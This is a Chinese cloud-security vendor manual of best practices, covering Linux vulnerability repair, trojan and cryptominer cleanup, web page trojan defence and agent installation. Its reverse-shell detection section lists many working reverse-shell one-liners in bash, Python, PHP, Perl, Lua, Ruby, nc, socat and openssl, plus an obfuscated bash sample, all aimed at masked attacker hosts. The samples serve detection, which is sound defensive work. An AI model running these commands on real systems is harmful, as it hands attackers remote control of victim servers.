Web-CMS漏洞

应用漏洞

应急漏洞

云安全中心所有版本均支持漏洞扫描功能，包括免费版。如果您未购买云安全中心付费版，可使用免费版扫
描漏洞。更多信息，请参见云安全中心免费版简介。

在云安全中心控制台左侧导航栏，选择安全防范 > 漏洞修复，进入漏洞修复界面，默认会为您展示Linux软件
漏洞下所有未处理的软件漏洞，如下图所示。如果您需要查看已处理或某个风险等级的漏洞，可在搜索框中
选择对应搜索条件，单击搜索按钮。

8.Linux软件漏洞修复最佳实践

最佳实践·Linux软件漏洞修复最佳实践 云安全中心（态势感知）
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如果您想要改变系统的漏洞扫描等级，可在漏洞修复页面右上角，单击漏洞管理设置，选择您需要的漏洞
扫描等级。您只有在此处勾选了相应等级，才能在漏洞修复页面查看相应等级的漏洞。例如您只勾选了漏
洞扫描等级中的高，在漏洞修复页面您只能查看漏洞等级为高的漏洞。

一个软件包漏洞在一定时期内的一批原因相似的漏洞，常常被发行版官方在同一个补丁中修复，大部分补丁
对应于一个固定的公告号码，在漏洞修复页面，您可以看到我们将这些漏洞以漏洞公告的维度进行了聚合展
示。

漏洞公告标题格式

红帽旗下系列发行版，如Redhat Enterprise Linux、CentOS的公告均以RHSA开头；Canonical旗下发行
版，Ubuntu的公告以USN开头。公告中均会标识出漏洞涉及的软件名。其中红帽的公告中，也会显示一个重
要等级，此为红帽为公告指定的等级，云安全中心在计算漏洞修复紧急度时也纳入了对这个因素的考虑。

漏洞公告标签

对每个漏洞公告中的漏洞的特点，我们进行了自动标记，并且将每个公告相关的漏洞的特征作为该公告的标
签展示在公告旁边。

当前展示的标签总共有五种：需要重启、存在EXP、代码执行、本地提权、远程利用。

云安全中心（态势感知） 最佳实践·Linux软件漏洞修复最佳实践
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当您单击进入某一条漏洞公告后，可以看到如下界面。

查看漏洞公告涉及的CVE信息

关注漏洞细节的用户可以通过单击具体CVE名称（上图①位置）查看CVE的技术详情。

查看漏洞详情

您可以通过在漏洞操作列单击详情（上图②位置）查看该漏洞为什么会被检测到。

查看漏洞关联进程

单击关联进程操作栏下的三角形图标（上图③位置）。您可以查看该漏洞涉及的软件包是否已经被您机器上
所运行的进程加载，以及对应的加载关系。

三角形图标呈灰色：代表该漏洞涉及的软件没有被任何进程加载。

三角形图标呈蓝色：您可以单击该图标查看进程加载关系。

漏洞修复
在云安全中心控制台漏洞详情页，对漏洞进行处理。支持批量修复漏洞。

仅高级版、企业版和旗舰版支持漏洞修复功能。免费版用户可以申请旗舰版7天免费试用，使用漏洞修复功
能。试用申请成功后，7天内您可以在云安全中心控制台修复漏洞，超过7天后，将无法使用漏洞修复功能。
申请试用的具体操作，请参见开通免费试用。免费版用户需满足以下条件才能申请免费试用。

云安全中心免费版用户。

最佳实践·Linux软件漏洞修复最佳实践 云安全中心（态势感知）
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未购买过云安全中心付费版服务（包括防病毒版、高级版、企业版和旗舰版）的阿里云账号默认为云安全
中心免费版用户。免费版无需开通，默认所有阿里云账号都可以直接使用云安全中心的免费版。

说明  如果您之前购买过付费版服务，但是服务到期后未续费，您的付费版将自动变成免费版。
由于您已购买过云安全中心服务，此种情况下，您无法开通免费试用。

未参加过云安全中心7天免费试用活动。

至少有一台阿里云ECS服务器。

后续操作
漏洞修复完成后需要进行验证，才能显示该漏洞已修复成功。

对于内核一类的Linux漏洞，漏洞修复完成后，还需根据提示对系统进行重启。重启后漏洞修复才会生效。
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本文档介绍了Linux系统查杀木马的最佳实践。

背景信息
系统安全存在漏洞或未采取足够的安全加固措施时，Linux系统可能会被植入木马程序。及时清理木马程序
后，还需提高安全意识，从安全补丁加固、系统权限加固、操作审计、日志分析等多维度对系统安全进行全
方位提升。

步骤一：使用云安全中心查杀木马程序
1. 使用云安全中心安全告警处理，及时清理木马威胁。详细内容请参见查看和处理告警事件。

2. 及时修复系统漏洞，加固系统安全。详细内容请参见Linux软件漏洞。

步骤二：查找详细的入侵痕迹
执行  last,lastlog 命令，查看最近登录的账户和登录时间，锁定异常账户。

执行  grep -i Accepted /var/log/secure 命令，查看远程登录成功的IP地址。

执行以下命令，查找计划任务。

/var/spool/cron/
/etc/cron.hourly
/etc/crontab

执行  find / -ctime 1 通过文件状态最后修改时间来查找木马文件。

检查/etc/passwd和/etc/shadow文件，确认是否有可疑用户。

检查临时目录/tmp、/vat/tmp、/dev/shm下的文件，这些目录权限是1777，容易被上传木马文件。

查看端口对外的服务日志是否存在异常，例如：tomcat、nginx。

执行  service --status-all | grep running ，查看当前运行的服务中是否存在异常。

执行  chkconfig --list | grep :on ，查看自启动的服务中是否存在异常。

执行  ls -lt /etc/init.d/ | head ，查看是否有异常启动脚本。

步骤三：使用常用木马查杀命令

命令 功能

ps，t op  查看运行的进程和进程系统资源占用情况，查找异常进程。

pst ree  以树状图的形式显示进程间的关系。

lsof
查看进程打开的文件、文件或目录被哪个进程占用、打开某个端口的进程、系
统所有打开的端口等信息。

net st at   查看系统监听的所有端口、网络连接情况，查找连接数过多的IP地址等信息。

if t op 
监控TCP连接实时网络流量，可分别分析出入流量并进行排序，查找出流量异
常的IP地址。

net hogs
监控每个进程使用的网络流量，并从高到低排序，方便查找出流量异常的进
程。

9.Linux系统木马查杀
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st race  追踪一个进程执行的系统调用，分析木马进程的运行情况。

st rings  输出文件中可打印的字符串，可用来分析木马程序。

命令 功能
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反弹Shell是黑客控制受害服务器的一种攻击手段，常用于受害服务器位于内网、受限于防火墙策略等无法使
用正向连接的入侵场景。本文介绍反弹Shell攻击的现状、常规解决方法、分类与检测思想以及云安全中心针
对反弹Shell提供的多维检测技术。

背景信息
反弹Shell是黑客（即Shell攻击者）用于控制受害服务器的一种手段。Shell攻击者指定服务端，并将需要受
害服务器执行的命令（标准输入、标准输出、标准错误等）重定向到该服务端。受害服务器主动连接攻击者
的服务端程序，攻击者的服务端通过监听来自受害服务器的请求，对目标服务器下发指令并获取执行结果，
以达到攻击者可以控制受害服务器的目的。

反弹Shell攻击现状
阿里云云安全中心通过分析历史中云上环境的Linux服务器入侵事件，总结出了攻击链路中实现反弹Shell的
语言及工具使用率，详情如下图所示。

10.云安全中心反弹Shell多维检测技
术详解

最佳实践·云安全中心反弹Shell多维检
测技术详解
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其中交互式  Bash +  /dev/tcp 是使用最多的反弹Shell，  /dev/tcp 作为  Bash 的默认特性使得该反弹
方式兼容绝大多数环境，因此使用率高。紧随其后的是兼容性较好且灵活易用的Python。随着Go语言的兴
起，云上入侵事件开始出现Go反弹Shell。从上图可以看出弹Shell实现的方式灵活多样，每种语言都可以进
一步延伸和扩展。因此，为了保障最优的检出效果，反弹Shell的检测方案需要综合考虑多种场景因素。

常规检测方法
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常见的检测方案是通过正则匹配的方式，提取反弹Shell命令的特征去匹配命令日志、流量日志。该方案具有
以下不足：

命令日志采集不完整：例如通过Netlink等方式采集的日志，在碰到管道符、重定向时会无法采集完整的
原始执行命令。而通过Patch Bash的方式记录命令日志，在遇到服务器使用Zsh、Ksh等其他Shell环境，
或攻击者上传自己编译的Bash时会失效。

正则匹配无法覆盖无穷无尽的文本对抗：攻击者可以不断挖掘出新的变形方式来绕过正则匹配。在实际
业务场景中，过多复杂的正则匹配会带来更大性能压力，而通配性更广的正则匹配会带来更多误报。

特征匹配失效：在网络流量被加密后，特征匹配会失效。

分类检测思想
因为表层对抗是无穷无尽的，检测需要由表及里，尽可能挖掘出更本质的解决方法。从检测的角度来看，反
弹Shell的本质可以理解为：网络通信+命令执行+重定向方式。

命令执行和网络通信借助重定向，可以构建出一条流动的数据通道。攻击者可以利用这条通道下发指令控制
受害服务器。不同的实现方式组合在一起，就形成了多种多样的反弹Shell。例如：

网络通信可以使用TCP、UDP、ICMP等协议，TCP协议再细分又可以包含HTTP、HTTPS协议等，UDP包含
DNS等。

命令执行可以通过调用Shell解释器、Glibc库、Syscall等方式实现。

重定向可以通过管道、成对的伪终端、内存文件等实现。

从检测的角度，可以将反弹Shell分为以下三种类型：

第一类反弹Shell：直接重定向Shell的输入输出到Socket
该类型反弹Shell最典型的例子是：

bash -i >& /dev/tcp/10.10.XX.XX/666 0>&1

以下介绍直接重定向Shell解释器的输入输出到Socket类型的常见案例。

案例一：

bash -i >& /dev/tcp/10.10.XX.XX/6060 0>&1

案例二：

python -c 'import 
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.XX.XX",6060));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

案例三：

php -r '$sock=fsockopen("10.10.XX.XX",6060);exec("/bin/sh -i <&3 >&3 2>&3");'

最佳实践·云安全中心反弹Shell多维检
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案例四：

perl -e 'use 
Socket;$i="10.10.XX.XX";$p=6060;  
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");};'

案例五：

lua -e 
"require('socket');require('os');t=socket.tcp();t:connect('10.10.XX.XX','6060');os.exec
ute('/bin/sh -i <&3 >&3 2>&3');"

该类型反弹Shell通过重定向  bash -i 的标准输入、标准输出、标准错误到  /dev/tcp Socket 进行网
络通信。下图可以帮助您理解重定向过程。

这类反弹Shell的检测可以通过检测Shell的标准输入、标注输出是否被重定向到Socket或检测一些简单的
主机网络日志特征来实现。
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云安全中心已支持检测此类型的反弹Shell，下图是检测出该类型反弹Shell后产生的告警。

第二类反弹Shell：通过管道、伪终端等中转，再重定向Shell的输入输出到中转
此类反弹Shell借助管道、伪终端等进行中转，例如下面这个典型案例将  sh -i 的标准输入、标准输
出、标准错误重定向到命名管道  /tmp/f ，同时加密通信数据也流向该命名管道。

mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 0.0.XX.XX:666 
> /tmp/f

通过管道、伪终端等作为中转体，并与Socket打通，重定向Shell解释器的输入输出到中转体，有以下常
见案例：

案例一：

nc 10.10.XX.XX 6060|/bin/sh|nc 10.10.XX.XX 5050 nc -e /bin/bash 10.10.XX.XX 6060 nc -c 
bash 10.10.XX.XX 6060 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.XX.
XX:6060

案例二：

mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 6060>/tmp/f

案例三：

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.XX.XX:
6060 > /tmp/s; rm /tmp/s

案例四：

mknod backpipe p; nc 10.10.XX.XX 6060 0<backpipe | /bin/bash 1>backpipe 2>backpipe

案例五：

bash -c 'exec 5<>/dev/tcp/10.10.XX.XX/6060;cat <&5|while read line;do $line >&5 2>&1;do
ne'

案例六：

telnet 10.10.10.10 6060 | /bin/bash | telnet 10.10.XX.XX 5050

最佳实践·云安全中心反弹Shell多维检
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在某些变形的场景下，可能经过层层中转，但无论经过几层最终都会形成一条流动的数据通道。通过跟踪
FD（文件描述符File Descriptor）和进程的关系可以检测该数据通道。

云安全中心已支持检测通过管道中转的反弹Shell，下图是检测出该类型反弹Shell后产生的告警。

此类反弹Shell使用频率较高，其中利用伪终端中转的方式值得单独讨论，比如以下案例。

python -c 'import 
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.1
68.XX.XX",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);impo
rt pty; pty.spawn("/bin/bash")'
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通过伪终端中转与通过管道等中转原理一样，但通过伪终端中转的检测难度大大提升，单从Shell的标准输
入输出来看，和正常打开的终端没有什么区别。此外，一些场景如容器、各类产品Agent等也会有相似的
日志记录，平衡漏报与误报的难度上大大提升。因此我们在文件描述符合检测方案的基础上，结合进程、
网络等多种日志信息综合分析。以下是云安全中心检测出的利用伪终端中转方式的告警。

第三类反弹Shell：编程语言实现标准输入中转，重定向命令执行的输入到中转
第三种类型反弹Shell通过编程语言实现标准输入的中转，然后重定向命令执行的输入到中转，标准输出和
标准错误中转形式不限制。以下是该类型反弹Shell的典型示例：

python - c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('0.0.0.0',666
))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subpro
cess.PIPE,Shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")"

Shell攻击者使用编程语言实现标准输入中转，重定向命令执行的输入到中转，有如下常见案例：

案例一：

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.10.XX.XX
',6060))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), Shell=True, stdout=subprocess
.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.st
derr.read())\")"

案例二：

lua5.1 -e 'local host, port = "10.10.XX.XX", 6060 local socket = require("socket") loca
l tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do lo
cal cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read(
"*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

案例三：

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.XX.XX","6060");while(cmd=c.gets);
IO.popen(cmd,"r"){|io|c.print io.read}end'

最佳实践·云安全中心反弹Shell多维检
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在这种场景下，反弹Shell的命令执行和正常业务行为变得更加难以区分，对抗程度上升，除了从进程命令
行尽可能的覆盖这类反弹Shell的特征以外，云安全中心通过异常命令行为序列、异常Shell启动模型检测
该类反弹Shell。
异常命令行为序列模型基于阿里云大数据实时计算平台，通过分析命令序列与攻击者获取Shell后行为相似
度来判定是否为反弹Shell。而异常Shell启动模型结合多维度特征以及机器历史行为综合判定产出告警。
以下是云安全中心已检测出的告警。

云安全中心多维检测方案
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攻击与防御技术总是在不断的对抗中升级，攻击技术任何单点的突破都可能形成稳定绕过防御技术的局面。
理论上任何一种反弹Shell检测都不是完美的，特别是第三类反弹Shell。云安全中心支持纵深检测，采用多
维度交叉检测反弹Shell方案，通过进程特征覆盖、文件描述符分析、命令行为序列、异常Shell启动、二进
制沙箱、脚本沙箱、流量特征覆盖、对抗行为检测共八项技术在不同入侵阶段埋点，从而最大程度保障检出
效果。

除了分类检测思想中介绍的更贴近反弹Shell本质的FD检测技术、从行为目的出发的异常命令行为序列检测技
术、异常Shell启动检测和常规的命令、网络特征覆盖方案以外，云安全中心同时使用以下检测技术：

脚本沙箱
对于脚本类型的反弹Shell，云安全中心提供针对性的解决方案。
云安全中心会对落盘脚本文件进行文件落盘检测，检测的语言包括但不限于Bash、Python、Perl、Vbs、
PowerShell、Bat、JAR等。

"${@~~}"  "${@^^}"   $BASH  ${*%%$9tcW\)zX}   <<< "$(  "${@~~}"  $'\162'''e${*}v <<< '
}^^*{$   ")     }^^*{$  ;   }4S:\{\/CZ.!\?//@{$   }^^@{$   "}~~H7ONC{$"   s%  f\"t"n""ir*
$p}@!{$
},*{$ }L>JO%*{$ &&  }ca\L&[\%%@{$ '"'"'1&>0 3332/1.1.1.1/PCT/VED/ &> I- HSAB'"'"'=H7ONC  

($"   l}#VDG~g/g:fii\//*{$a"}~@{$"v'"'"'e'"'"'   }~*{$  '  ${@~}   ${@^}  ;   ${*%%S9;fj$
^Y}    )"   ${*,,} ${@%r-,,}
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云安全中心会对混淆类样本，通过每种语言的Trace模式，动态解混淆后进行检测。
近些年随着Java应用越来越多，在云上也出现一些利用JAR包进行反弹Shell的案例。云安全中心会对JAR等
打包类文件进行静态反编译并结合动态的运行进行多维度判定。

随着攻防对抗程度提升，无文件攻击越来越流行，云安全中心针对无文件类反弹Shell提供了相应检测方
案。

二进制沙箱
云安全中心对于常见的C/C++、Go、MeterPreter Shellcode等二进制反弹Shell开发方式进行了特殊的识
别和处理，综合导入函数特征、代码特征、二进制在沙箱中的动态行为特征等多个维度进行检测。

流量特征分析
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云安全中心覆盖常见Shell通信特征，辅助提升反弹Shell检测效果。

对抗行为检测
云安全中心覆盖常见绕过方式，如替换系统Shell、命令编码等，作为辅助手段提升检测效果。
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本文以挖矿程序为例，介绍云安全中心在处理挖矿病毒的事前、事中、事后所提供的安全告警、拦截查杀、
溯源分析等服务。

前提条件
请在资产中心页面的服务器页签下，查看服务器的客户端（即云安全中心Agent）状态是否为开启，只
有云安全中心客户端的状态为开启，云安全中心才能防护该服务器。

如果服务器的客户端状态为暂停保护，则说明该服务器上的客户端已被关闭，云安全中心无法为该服务器
提供保护。您需要为该服务器开启保护。具体操作，请参见修改服务器保护状态。

如果服务器的客户端状态为离线，则说明该服务器上尚未安装云安全中心Agent，云安全中心无法为该服
务器提供保护。您需要为该服务器安装云安全中心Agent。具体操作，请参见安装Agent。

如果您已为服务器成功安装云安全中心Agent，但在云安全中心控制台上该服务器的客户端状态仍为离
线，您需要排查客户端离线的原因。具体操作，请参见Agent离线排查。

限制条件
请确保您使用的是云安全中心防病毒版、高级版、企业版或旗舰版。防病毒版、高级版、企业版或旗舰版才
支持对您服务器中的挖矿程序进行处理。免费版仅支持安全告警检测，不支持安全告警处理。您可以通过购
买云安全中心防病毒版、高级版或企业版来使用安全告警处理的功能。更多信息，请参见文档购买云安全中
心。

点击此处立即购买云安全中心

免费试用
云安全中心为已购买免费版的用户提供7天免费试用旗舰版的活动。

如果您未购买过云安全中心，您还可以通过申请免费试用云安全中心的旗舰版，使用旗舰版处理挖矿程序。
开通免费试用云安全中心旗舰版的具体介绍，请参见文档开通免费试用。

点击此处免费试用云安全中心

挖矿程序的特征
挖矿程序会占用CPU进行超频运算，导致CPU严重损耗，并且影响服务器上的其他应用。

挖矿程序还具备蠕虫化特点，当安全边界被突破时，挖矿病毒会向内网渗透，并在被入侵的服务器上持久
化驻留以获取最大收益。

挖矿程序具有联动作用，在清理过程中会存在处理不及时或清理不干净导致挖矿病毒反复发生、出现恶意
脚本替换系统命令的现象，从而导致执行系统命令时触发恶意脚本执行（例如：xorddos）。因此，需要
在挖矿程序的一个执行周期内，尽快将被入侵服务器上的木马程序和持续化后门清理干净，否则容易导致
挖矿病毒频繁复发。

如何判断资产中是否存在挖矿威胁
如果您服务器的CPU使用率明显升高，例如达到80%以上，并且出现未知进程持续向外发送网络包的情况，
可以判定您的服务器中存在挖矿威胁。详细内容，请参见如何判断资产中是否存在挖矿威胁？

云安全中心用户处理挖矿程序
1. 登录云安全中心控制台安全告警页面。

2. 在安全告警列表中定位到挖矿程序，单击操作列的处理。

11.挖矿程序处理最佳实践
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当出现挖矿事件时，云安全中心会产生挖矿程序的告警事件。

注意  强烈建议您在控制台出现告警事件、或安全治理通知后，使用病毒防御与扫描功能清理
隐藏、持久化的恶意文件。具体操作，请参见病毒防御。

3. 对确认需要查杀的挖矿程序，选中病毒查杀，然后选中隔离该进程的源文件、结束该进程的运行，并
单击立即处理，防止该程序再次启动。

云安全中心支持同时处理相同告警功能，如果您想批量处理相同规则或类型触发的告警，您可以使用
此功能。

4. 对挖矿事件产生的其他衍生告警（例如：矿池通信行为），执行阻断操作。

云安全中心通过生成对应的策略防止服务器访问矿池，确保您有充足的时间对安全事件进行处理。您也
可以手动将矿池IP加入安全组禁用。

5. 查看进程行为异常告警，确认是否存在异常的计划任务。

6. 开启病毒拦截功能。

针对无法及时清理服务器上残留的挖矿程序或清理不干净导致复发的情况，云安全中心提供的病毒拦截
功能可对挖矿程序进行精准拦截，在事前抑制挖矿事件的发生。如何开启病毒拦截功能，请参见主动防
御。

您可以使用云安全中心的病毒防护功能扫描您的资产，病毒扫描的结果会显示在安全告警处理页面。
另外，病毒扫描将清理恶意文件的一些持久化行为，例如：自启动项、定时任务。具体操作，请参
见病毒防御。

说明  病毒扫描结束后，请及时处理安全告警页面上报的告警事件，以确保您服务器的安
全。

您还可以通过云安全中心提供的入侵溯源功能，详细了解挖矿程序入侵的过程和链路。
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非云安全中心用户处理挖矿程序
挖矿程序为了最大程度获取利益，会存放大量的持久化后门，导致病毒杀不死或难以清理。如果您在未购买
云安全中心服务的情况下遇到挖矿病毒，可以采取如下措施排查和处理。

Linux系统
1. 执行以下命令查看挖矿进程的执行文件链接。

ls -l /proc/xxx/exe           // xxx表⽰该进程的PID。
2. 清除挖矿进程的执行文件。

3. 在高CPU消耗的进程中定位到挖矿进程，并关闭该进程。

4. 检查并清除您服务器的防火墙中存在挖矿程序的矿池地址。

i. 执行以下命令查看是否存在业务范围之外的可疑通信地址和开放端口。

 iptables -L -n

ii. 执行以下命令清除恶意矿池地址。

 vi /etc/sysconfig/iptables

5. 执行以下命令排查是否存在定时任务。

crontab -l
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您可以根据排查的结果，对可疑的定时任务文件进行处理，防止二次入侵。

6. 执行以下命令检查SSH公钥中是否存在挖矿病毒，防止出现持续后门。

cat .ssh/authorized_keys

7. 查看其他服务器中是否存在挖矿行为，防止挖矿病毒重复感染内网中的其他服务器。

Windows系统
1. 在PowerShell中执行以下命令，通过CPU占用情况排查可疑的挖矿进程。

 ps | sort -des cpu
 While(1) {ps | sort -des cpu | select -f 15 | ft -a; sleep 1; cls}

2. 执行以下命令，查看挖矿进程的磁盘文件、进程启动命令的参数。

wmic process where processid=xxx get processid,executablepath,commandline,name     //xx
x表进程pid

3. 结束挖矿进程，清除挖矿文件。

4. 执行以下命令，检查主机连接的可疑网络端口。

netstat -ano | findstr xxx            // xxx 表可疑的⽹络端⼝
5. 执行以下命令，检查服务器中hosts文件是否存在挖矿程序的矿池地址。

type  C:\Windows\System32\drivers\etc\hosts

6. 执行以下命令，排查是否存在挖矿程序设定的计划任务。

schtasks /query

其他方案
如果病毒入侵较深，关联到系统底层组件，很难手动排查和清除。强烈建议您在备份重要数据后，重置服务
器的系统，可确保完全清理挖矿程序。操作步骤如下：

1. 创建快照备份服务器上的重要数据。具体操作，请参见创建一个云盘快照。

2. 初始化服务器的操作系统。具体操作，请参见重新初始化系统盘。

3. 使用快照生成云盘。具体操作，请参见使用快照创建云盘。

4. 挂载云盘到重装系统后的服务器上。具体操作，请参见挂载数据盘。

同时，阿里云也提供安全应急响应服务，由专业的安全技术人员来帮助您解决，应急响应可提供的内容如
下：
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帮您全面清理系统中存在的木马、病毒、异常账号、异常文件、WebShell、暗链等。

分析黑客入侵手法，查找入侵原因。

指导用户进行安全加固。

应急响应服务的详细信息，请参见应急响应服务。
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本文为您介绍挂马攻击的相关信息、如何查找并清除挂马文件以及如何防御挂马攻击。
什么是挂马攻击
挂马攻击是指攻击者在攻击成功并获得了网站控制权后，在网站的网页中嵌入恶意代码。攻击者通常会使用
iframe框架挂马、JS挂马、Body挂马、隐蔽挂马、CSS挂马等方式。

当网站用户访问被攻击成功的网页时，嵌入的恶意代码利用浏览器本身的漏洞、第三方ActiveX漏洞或其它
插件（例如Flash、PDF插件等）漏洞，在用户不知情的情况下下载并执行恶意木马。

挂马攻击有什么危害
网站被挂马攻击后，表示黑客已成功入侵该网站。黑客可以获取该网站用户的账号密码、业务数据等敏感数
据。如果网站用户访问了被攻击成功的网站，用户计算机就可能被植入恶意木马病毒，这些病毒会盗取用户
的各类账号密码和数据，例如网银账户、社交账号和密码等。恶意木马病毒还可能会破坏被病毒感染计算机
的本地数据，给用户的信息资产带来巨大的损失。因此，网站被挂马不仅会影响网站的公共形象，还可能会
造成该网站用户的计算机系统故障和存储数据泄露。

如何查找并清除挂马文件
网站被挂马攻击是指黑客通过漏洞成功入侵网站，并在网站服务器文件系统或代码内植入了恶意代码或文
件。建议您采用以下方法查找并清除挂马文件：

如果是特定的恶意代码，建议您快速根据URL目录找到挂马文件，然后删除。

一般操作系统或应用代码文件成百上千，靠人工很难识别挂马文件，建议您使用云安全中心自动化检测和
处理挂马文件。

您也可以使用人工专家应急响应服务，排查入侵原因，找到漏洞并清理木马，确保系统安全可靠后再加强
防护措施。避免二次入侵或重复发生挂马事件。

如何防御挂马攻击
及时修复网站系统和网站所在服务器的各类漏洞，可以降低网站被挂马攻击的风险。网站被挂马攻击会产生
较大的危害主要是因为攻击者在攻击成功后，可以利用被篡改网页、浏览器或操作系统的漏洞、网页木马的
下载执行和恶意程序的下载执行等方式，进一步扩大攻击范围。因此，您需要从网站系统各个层级去防护网
站，抵御挂马入侵。下图是一般网站系统的架构。

建议您采用以下解决方法：

12.防御挂马攻击最佳实践
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网络安全层

建议您使用ECS安全组、SLB白名单、云防火墙等服务限制不必要的服务端口暴露在外网，防止暴露的服务
器端口被黑客利用。

主机系统层面

建议您使用堡垒机管理ECS的登录方式，并针对不同运维人员按照最小授权原则进行精细化授权。

为云账号配置强密码。安全密码建议设置为8位以上，必须包括大写字母、小写字母、数字和特殊字
符。同时建议每隔几个月更换一次密码，保证安全性。建议开通多因素认证（MFA）或SSH Key凭证登
录。

关注安全漏洞情报，例如关注阿里云官网发布的安全漏洞公告。定期检测并修复网站本身以及网站所在
服务端环境的各类漏洞，及时更新操作系统、应用服务软件补丁。

建议您开通云安全中心服务，使用云安全中心检测并修复您服务器上的安全风险、不安全配置项、操作
系统漏洞、中间件漏洞等安全风险。

加强文件访问权限管理。设置敏感目录访问权限，限制修改目录的脚本执行权限，遵循最小授权原
则配置文件系统的访问和修改权限。

数据库层面

强烈建议不要使用数据库Web管理工具来管理数据库，也不要让Web管理系统直接对公网开放。

配置网络访问控制策略，仅允许应用服务器访问数据库服务，禁止数据库服务端口对公网开放。

配置复杂密码，对数据库服务进行加固。

应用安全层面

对Web应用中间件进行安全加固。

在业务代码上线前，进行代码安全测试、白盒代码审计等工作，并在修复已发现漏洞后，再上线发布，
防止业务代码上线后黑客利用存在的漏洞入侵业务系统。

业务系统上线前或上线后，使用漏洞扫描服务定期对网站和Web业务系统进行漏洞扫描，及时处理存在
的安全漏洞。

排查程序存在的漏洞，并及时修复漏洞。您可以使用应急响应服务协助您排查漏洞及入侵原因，同时可
以使用Web应用防火墙保护您的Web应用。Web应用防火墙可以帮助您拦截外部攻击行为，降低您的
Web应用被黑客入侵的可能性。
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本文介绍在阿里云服务器上批量安装Agent的方法。

背景信息
您需要有带ECS管理权限的账号的AK完成批量安装云助手，才能批量安装云安全中心Agent。

操作步骤
1. 下载阿里云CLI工具。

2. 执行以下命令，配置阿里云CLI的认证信息。如未完成该配置，您将无法使用阿里云CLI安装云助手。

aliyun configure

13.阿里云服务器批量安装Agent
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3. 执行以下CLI命令获取需要安装云助手的ECS的实例ID和Region ID。

aliyun ecs DescribeRegions   #获取Region ID列表。
aliyun ecs DescribeInstances --RegionId [cn-hongkong]   #获取实例列表，每个region需要查询⼀
次。
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4. 执行以下CLI命令安装云助手。阿里云CLI支持同时对多台ECS安装云助手。

aliyun ecs InstallCloudAssistant --RegionId [TheRegionId] --InstanceId.N [i-bp1g6zv0ce8
ogXXXXXXp]  #对多台ECS安装云助⼿时，请按顺序将N替换成需要ECS的数量，并⽤第3步中查询到的实例ID替
换i-bp1g6zv0ce8ogXXXXXXp。

说明  您可执行  aliyun ecs DescribeCloudAssistantStatus --RegionId TheRegionId --In
stanceId.1 i-bp1g6zv0ce8ogXXXXXXp --output cols=CloudAssistantStatus 命令，查询ECS是否
已安装了云助手。详细内容，请参见安装云助手客户端。

5. 登录云安全中心控制台，在设置 > 安装/卸载插件页面为多台ECS批量安装Agent。
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说明  Agent安装成功的服务器将不会在安装/卸载插件页面展示，您可在资产中心 > 服务器页
签下，查看到该服务器的服务端状态为开启。

相关文档
Agent离线排查

安装Agent
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本文介绍了非阿里云ECS服务器安装云安全中心Agent的方法。

背景信息
云安全中心支持阿里云ECS服务器和非阿里云服务器（覆盖各大主流与非主流厂商的云服务器，如AWS
等）。阿里云ECS和非阿里云服务器都必须安装Agent，才能获得云安全中心的防护。

未安装Agent插件的服务器将不受云安全中心保护，控制台页面也不会显示该资产的任何漏洞、告警、基线
漏洞和资产指纹等数据。

非阿里云服务器不支持一键自动安装，只支持手动安装Agent。

操作步骤
1. 登录云安全中心控制台。

2. 在左侧导航栏，单击设置。

3. 在设置页面，单击安装/卸载插件页签。

4. 单击客户端安装指南页签。

客户端安装指南页面查为您提供4条默认命令。如果您无需生成命令镜像或不需要应用该命令的服务器
自动添加到指定的资产分组中，您可以按照自己服务器和操作系统类型选择对应的安装命令，直接使用
该默认命令安装到服务器中。

5. （可选）在客户端安装指南页签中，单击新增安装命令，手动创建安装Agent的命令。

注意  如果您使用云安全中心提供的默认命令安装到客户端中，您可以跳过本步骤。

您可以通过新增安装命令，实现以下两个目的：

创建命令镜像，使用该命令镜像批量预装到服务器中。

为新增的安装命令绑定资产分组，后续使用该命令安装Agent插件的服务器会自动加到该资产分组
中。

14.非阿里云服务器安装Agent
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i. 在新增安装命令对话框中，配置命令的基本信息。
安装命令的配置项说明如下：

配置项 说明

过期时间 该命令过期的时间。

服务商 服务器所属的服务提供商。

默认分组 该安装命令生效的服务器分组。

操作系统
命令应用的操作系统类型。可选操作系统类型为Windows、Linux、
Windows 2003。

制作镜像系统

是否需要制作镜像文件。可选项说明：

选择是 ：云安全中心会创建命令的镜像文件，您无需在每台服务器
中重复执行Agent安装命令，就可批量预装到其他服务器中。

说明  在服务器中运行了该镜像命令后，将仅下载Agent
文件，不启动Agent进程。如果您需要对该服务器进行防护，
必须重启服务器，Agent进程才能启动，该服务器才能受到云
安全中心的防护。

选择否 ：直接生成安装命令。

ii. 单击确定，生成一条Agent安装命令，并复制该命令。
您可以在客户端安装指南页签中，查看已创建的Agent安装命令。

6. 使用有管理员权限的账号登录需要安装Agent的服务器。

根据服务器的操作类型不同，执行安装命令的界面有所不同：

Windows系统：在命令提示符（CMD）中，执行已复制的安装命令，即可完成Agent文件的下载及
安装。

Linux系统：在服务器的命令行界面，执行已复制的安装命令，即可完成Agent文件的下载及安装。

注意  该安装命令包含从阿里云站点下载最新的Agent插件，如您使用的是非阿里云服务器请
确认您的服务器已连接公网。

